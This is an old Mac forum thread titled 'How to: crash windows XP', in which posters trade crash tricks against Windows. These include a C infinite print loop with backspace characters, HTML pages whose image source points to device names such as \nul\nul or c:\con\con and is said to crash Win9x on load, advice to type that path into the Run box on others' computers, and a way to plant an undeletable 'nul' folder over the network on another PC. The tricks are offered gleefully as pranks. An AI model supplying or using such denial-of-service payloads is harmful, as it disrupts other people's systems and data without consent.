How to: crash windows XP

kilowatt

mach-o mach-o man
This is in the mac thread caus it doesn't work on a mac and is thus a piece of mac vs xp information.

which most mac readers will find humor in.

http://www.zappadoodle.com/ has the following bit of code wich will crash3burn any xp box if compiled with the right compilers.

Here's the code:
Code:
main () {
  for (;;) {
    printf ("Hung up\t\b\b\b\b\b\b") ;
  }
}
to make this on osx:
Code:
cd ~
mkdir crashtest
cd crashtest
cat > crashme.c
main () {
  for (;;) {
    printf ("Hung up\t\b\b\b\b\b\b") ;
  }
}
[i]control-d[/i]
cc crashme.c
chmod 775 crashme.c
./crashme.c
[i]press control-\ when you are satisfied
that mac os x will not crash from this stupidity[/i]

enjoy!
ps what is http://www.yourmaclife.com ?

EDIT: disabled smilies in post :)

BTW, make sure to check out that web site - you can even create text files with qbasic to see this!
 
Originally posted by testuser
It just so happens that the name of your main method happens to be Apple HQ's address. Maybe this is why the XP boxes are crashing ;)

Even better is to use the true address of the HQ (1 infinite loop):

while(1){#infinite loop}
 
btw isn't that funny that part of the code was interperated by the BB as a smily face? thats too funny!

Anyone using XP try the binary?
 
it also works with win2000 !!!
next week ill give win98 a try and win95.......
thats so cool :cool:

heres also something how u can easily crash win95/98 simply by making a web page!!

open up a new TEXT document and enter this:

html
body
img src="\nul\nul"
/body
/html

(with brackets!)

and save it as .html file. open it up on a win9x system and the system will crash immediatly :D ehehehe
 
The infinite loop doesn't crash NT 4.0 with Cygwin (nor does the funny HTML code with NT4.0/IE5.5).

-Rob
 
the html thing only works with win9x/me! win2000/xp/nt won't crash as they don't have that old dos underlying.
 
in order for the code to crash a windows system, it has to be compiled correctly (not with m$ vc++). So try the binary first on the website I linked to.

Btw, this is probably the same trick as mentioned above, but the following can be inserted into an html page as well to crash windows 9x systems:

img src=c:\con\con

Infact, you can just walk up to windows computers, press windowskey-r, and type c:\con\con hit return and, as sj would say, "boom!"

Might not work in 98se, not sure. Either way, its never been this simple to crash a mac. Not even in our system 7 days.
 
u can use all the following things to crash win9x

/nul/nul
/dev/dev (not sure whether this works)
/con/con
/prn/prn

one can also create a nul folder over the network on another win9x/nt/2000/xp pc. this is funny because the nul folder can never ever be deleted again until format c: :D
and all the stuff dropped onto the nul folder will be deleted immediatly. :D
 
:p

its your call! I think its certainly worthy of archival. Question is: is it off topic?

I think it'd be cool!
 
Back
Top